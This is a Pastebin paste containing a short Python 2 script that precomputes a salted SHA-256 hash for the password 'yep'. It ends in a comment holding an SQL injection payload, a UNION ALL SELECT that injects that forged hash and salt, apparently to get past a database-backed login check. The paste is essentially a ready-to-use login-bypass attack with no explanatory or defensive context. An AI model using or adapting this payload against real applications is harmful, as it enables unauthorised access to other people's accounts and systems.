SHARE
TWEET

Untitled

a guest Dec 9th, 2018 52 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import hashlib
  2.  
  3. salt = hashlib.sha256("salt").hexdigest()[:5]
  4. password = "yep"
  5.  
  6. calculated_hash = hashlib.sha256(password + salt).hexdigest()
  7.  
  8. print [salt, calculated_hash]
  9.  
  10. # password: yep
  11. # salt: 63479
  12. # hash: 2143b6aff39e4925c78ccd88d58d7f7316f12f5b89c48f31aca76c3d08d2664c
  13.  
  14. # ' UNION ALL SELECT 1, "2143b6aff39e4925c78ccd88d58d7f7316f12f5b89c48f31aca76c3d08d2664c", "63479" /*
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top